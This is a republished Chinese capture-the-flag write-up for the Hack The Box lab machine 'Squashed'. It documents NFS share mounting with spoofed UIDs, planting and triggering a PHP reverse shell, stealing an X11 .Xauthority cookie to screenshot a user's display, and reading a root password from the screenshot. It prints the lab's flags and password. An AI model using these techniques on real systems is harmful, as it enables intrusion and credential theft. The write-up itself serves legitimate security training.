欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 焦点 > HTB:Squashed[WriteUP]

HTB:Squashed[WriteUP]

2024/11/16 8:48:30 来源:https://blog.csdn.net/qq_43007452/article/details/143785417  浏览:    关键词:HTB:Squashed[WriteUP]

目录

连接至HTB服务器并启动靶机

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机开放端口进行脚本、服务扫描

使用浏览器访问靶机80端口页面

使用showmount列出靶机上的NFS共享

新建一个test用户

使用Kali自带的PHP_REVERSE_SHELL并复制到一号挂载点

尝试使用curl直接访问该文件以获取反弹shell

USER_FLAG:e9fe2fd732daac4d51f58de5739109ee

特权提升

ROOT_FLAG:94844ffb8c66ad08cff2878a24f9b393


连接至HTB服务器并启动靶机

靶机IP:10.10.11.191

分配IP:10.10.16.7


使用rustscan对靶机TCP端口进行开放扫描

靶机开放端口:22,80,111,2049,35435,37449,37537,38139

使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p22,80,111,2049,35435,37449,37537,38139 -sCV 10.10.11.191


使用浏览器访问靶机80端口页面

经过ffuf、dirbuster大量的路径扫描,我几乎可以断定这是个纯静态的Web

尝试从其他端口下手,我注意到2049端口托管的NFS服务经过百度知道它是无需认证的

使用showmount列出靶机上的NFS共享

showmount -e 10.10.11.191

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

本机进入/mnt目录下并新建两个目录

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cd /mnt                   
                                                                                                                            
┌──(root㉿kali)-[/mnt]
└─# mkdir 1 2
                                                                                                                            
┌──(root㉿kali)-[/mnt]
└─# ls
1  2

将靶机上的两个共享分别挂载到本地

mount -t nfs 10.10.11.191:/var/www/html /mnt/1
mount -t nfs 10.10.11.191:/home/ross /mnt/2

┌──(root㉿kali)-[/mnt]
└─# mount -t nfs 10.10.11.191:/var/www/html /mnt/1
                                                                                                                            
┌──(root㉿kali)-[/mnt]
└─# mount -t nfs 10.10.11.191:/home/ross /mnt/2

查看一号挂载点权限

ls -al 1

┌──(root㉿kali)-[/mnt]
└─# ls -al 1   
ls: 无法访问 '1/.': 权限不够
ls: 无法访问 '1/..': 权限不够
ls: 无法访问 '1/.htaccess': 权限不够
ls: 无法访问 '1/index.html': 权限不够
ls: 无法访问 '1/images': 权限不够
ls: 无法访问 '1/css': 权限不够
ls: 无法访问 '1/js': 权限不够
总计 0
d????????? ? ? ? ?              ? .
d????????? ? ? ? ?              ? ..
?????????? ? ? ? ?              ? css
?????????? ? ? ? ?              ? .htaccess
?????????? ? ? ? ?              ? images
?????????? ? ? ? ?              ? index.html
?????????? ? ? ? ?              ? js

查看二号挂载点权限

ls -al 2

查看一号挂载点所属用户ID与组

ls -ld 1

┌──(root㉿kali)-[/mnt]
└─# ls -ld 1
drwxr-xr-- 5 2017 www-data 4096 11月15日 03:20 1

查看二号挂载点所属用户ID与组

ls -ld 2

┌──(root㉿kali)-[/mnt]
└─# ls -ld 2
drwxr-xr-x 14 1001 1001 4096 11月14日 19:30 2

因为NFS完全没有任何身份验证过程,所以我们直接伪造一个ID为2017的用户即可通行一号挂载点

新建一个test用户

useradd test

将test用户ID修改为2017

usermod -u 2017 test

将test用户组ID修改为2017

groupmod -g 2017 test

查看/etc/passwd看用户是否成功添加

cat /etc/passwd

切换到test用户并查看挂载点1文件权限分配情况

su test

┌──(root㉿kali)-[/mnt]
└─# su test              
$ whoami
test

ls -al /mnt/1

$ ls
1  2
$ ls -al /mnt/1
总计 56
drwxr-xr-- 5 test www-data  4096 11月15日 03:35 .
drwxr-xr-x 4 root root      4096 11月15日 03:16 ..
drwxr-xr-x 2 test www-data  4096 11月15日 03:35 css
-rw-r--r-- 1 test www-data    44 2022年10月21日 .htaccess
drwxr-xr-x 2 test www-data  4096 11月15日 03:35 images
-rw-r----- 1 test www-data 32532 11月15日 03:35 index.html
drwxr-xr-x 2 test www-data  4096 11月15日 03:35 js


使用Kali自带的PHP_REVERSE_SHELL并复制到一号挂载点

$ ls /tmp
php-reverse-shell.php(我这里提前将Webshell拷贝到了/tmp目录下)
snap-private-tmp
systemd-private-1ae1219c28e04757bc3654c13141c455-haveged.service-bngsxp
systemd-private-1ae1219c28e04757bc3654c13141c455-ModemManager.service-kCmvAH
systemd-private-1ae1219c28e04757bc3654c13141c455-polkit.service-YiWHD2
systemd-private-1ae1219c28e04757bc3654c13141c455-systemd-logind.service-NRolyk
VMwareDnD
vmware-root_692-2696942994

$ cp /tmp/php-reverse-shell.php .
$ ls
css  images  index.html  js  php-reverse-shell.php
$ pwd
/mnt/1

本地侧nc开始监听

nc -lvp 1425

尝试使用curl直接访问该文件以获取反弹shell

curl http://10.10.11.191/php-reverse-shell.php

本地侧nc收到回显

┌──(root㉿kali)-[/tmp]
└─# nc -lvp 1425                                          
listening on [any] 1425 ...
10.10.11.191: inverse host lookup failed: Unknown host
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.191] 51582
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 08:39:47 up  8:09,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               00:30    8:09m 23.58s  0.01s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
alex

查找user_flag并查看其内容

$ find / -name 'user.txt' 2>/dev/null
/home/alex/user.txt
$ cat /home/alex/user.txt
e9fe2fd732daac4d51f58de5739109ee

USER_FLAG:e9fe2fd732daac4d51f58de5739109ee


特权提升

提升TTY

python3 -c 'import pty;pty.spawn("/bin/bash")'

查看/etc/exports文件内容

cat /etc/exports

这里显示/home/ross所有用户可访问,我尝试直接用当前用户读取相关文件却提示权限不足

cd /home/ross

alex@squashed:/$ cd /home/ross
cd /home/ross
alex@squashed:/home/ross$ ls
ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos

列出所有文件及其权限

ls -al

这里的Xauthority是X协议认证相关文件

alex@squashed:/home/ross$ ls -al
ls -al
total 68
drwxr-xr-x 14 ross ross 4096 Nov 15 00:30 .
drwxr-xr-x  4 root root 4096 Oct 21  2022 ..
-rw-------  1 ross ross   57 Nov 15 00:30 .Xauthority
lrwxrwxrwx  1 root root    9 Oct 20  2022 .bash_history -> /dev/null
drwx------ 11 ross ross 4096 Oct 21  2022 .cache
drwx------ 12 ross ross 4096 Oct 21  2022 .config
drwx------  3 ross ross 4096 Oct 21  2022 .gnupg
drwx------  3 ross ross 4096 Oct 21  2022 .local
lrwxrwxrwx  1 root root    9 Oct 21  2022 .viminfo -> /dev/null
-rw-------  1 ross ross 2475 Nov 15 00:30 .xsession-errors
-rw-------  1 ross ross 2475 Dec 27  2022 .xsession-errors.old
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Desktop
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Documents
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Downloads
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Music
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Pictures
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Public
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Templates
drwxr-xr-x  2 ross ross 4096 Oct 21  2022 Videos
alex@squashed:/home/ross$ cat .Xauthority
cat .Xauthority
cat: .Xauthority: Permission denied

如法炮制弄一个test2用户,将UID、GID设置成1001

┌──(root㉿kali)-[/mnt/1]
└─# useradd test2  
                                                                                                                            
┌──(root㉿kali)-[/mnt/1]
└─# usermod -u 1001 test2
                                                                                                                            
┌──(root㉿kali)-[/mnt/1]
└─# groupmod -g 1001 test2

切换到test2用户,并访问二号挂载点

su test2 && cd /mnt/2

$ ls -al
总计 68
drwxr-xr-x 14 test2 test2 4096 11月14日 19:30 .
drwxr-xr-x  4 root  root  4096 11月15日 03:16 ..
lrwxrwxrwx  1 root  root     9 2022年10月20日 .bash_history -> /dev/null
drwx------ 11 test2 test2 4096 2022年10月21日 .cache
drwx------ 12 test2 test2 4096 2022年10月21日 .config
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Desktop
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Documents
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Downloads
drwx------  3 test2 test2 4096 2022年10月21日 .gnupg
drwx------  3 test2 test2 4096 2022年10月21日 .local
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Music
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Pictures
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Public
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Templates
drwxr-xr-x  2 test2 test2 4096 2022年10月21日 Videos
lrwxrwxrwx  1 root  root     9 2022年10月21日 .viminfo -> /dev/null
-rw-------  1 test2 test2   57 11月14日 19:30 .Xauthority
-rw-------  1 test2 test2 2475 11月14日 19:30 .xsession-errors
-rw-------  1 test2 test2 2475 2022年12月27日 .xsession-errors.old

尝试直接用cat读取.Xauthority文件内容会出现乱码,将其进行一次BASE64编码

$ cat .Xauthority

squashed.htb0MIT-MAGIC-COOKIE-1�e��~b�K��>���$
$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDcZejrBX5ixku3F/k+iZz2

AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDcZejrBX5ixku3F/k+iZz2

将该文件还原到靶机/tmp目录下

cd /tmp && echo 'AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDcZejrBX5ixku3F/k+iZz2' | base64 -d > .Xauthorit

alex@squashed:/tmp$ ls -al
ls -al
total 12
drwxrwxrwt  2 root root 4096 Nov 15 12:56 .
drwxr-xr-x 20 root root 4096 Oct 21  2022 ..
-rw-rw-rw-  1 alex alex   57 Nov 15 12:56 .Xauthorit

首先读取靶机系统内XAUTHORITY环境变量配置

echo $XAUTHORITY

alex@squashed:/tmp$ echo $XAUTHORITY
echo $XAUTHORITY

发现毛都没写,那我们直接往里写入.Xauthorit文件路径即可

realpath .Xauthorit

alex@squashed:/tmp$ ls -al
ls -al
total 12
drwxrwxrwt  2 root root 4096 Nov 15 12:56 .
drwxr-xr-x 20 root root 4096 Oct 21  2022 ..
-rw-rw-rw-  1 alex alex   57 Nov 15 12:56 .Xauthorit
alex@squashed:/tmp$ realpath .Xauthorit
realpath .Xauthorit
/tmp/.Xauthorit

于此同时,执行w命令可见当前系统中ross用户登陆中并且使用的是0号显示器

w

通过临时地将.Xauthority添加到XAUTHORITY环境变量中并截取ross用户屏幕

(感觉这题纯属抖机灵,谁没事屏幕上一直放着root密码?)

XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/res.xwd

alex@squashed:/tmp$ XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/res.xwd
<wd -root -screen -silent -display :0 > /tmp/res.xwd
alex@squashed:/tmp$ ls -al
ls -al
total 1892
drwxrwxrwt  2 root root    4096 Nov 15 13:20 .
drwxr-xr-x 20 root root    4096 Oct 21  2022 ..
-rw-rw-rw-  1 alex alex      57 Nov 15 13:19 .Xauthority
-rw-rw-rw-  1 alex alex 1923179 Nov 15 13:20 res.xwd

靶机中通过python3开启一个http服务

python3 -m http.server 6666

攻击机将res.xwd文件下载到本地

wget http://10.10.11.191:6666/res.xwd -O res.xwd

将res.xwd格式转换为png

convert res.xwd res.png

直接打开该png文件获得密码:cah$mei7rai9A


我尝试使用上述密码登录到:root、ross用户均失败了不知什么原因

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sshpass -p 'cah$mei7rai9A' ssh root@10.10.11.191   
Permission denied, please try again.
                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sshpass -p 'cah$mei7rai9A' ssh ross@10.10.11.191
Permission denied, please try again.

直接在靶机alex用户中尝试切换到root用户

su root

alex@squashed:/$ su root
su root
Password: cah$mei7rai9A

root@squashed:/# whoami
whoami
root

查找root_flag位置并查看其内容

root@squashed:/# find / -name 'root.txt'
find / -name 'root.txt'
/root/root.txt
root@squashed:/# cat /root/root.txt
cat /root/root.txt
94844ffb8c66ad08cff2878a24f9b393

ROOT_FLAG:94844ffb8c66ad08cff2878a24f9b393

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com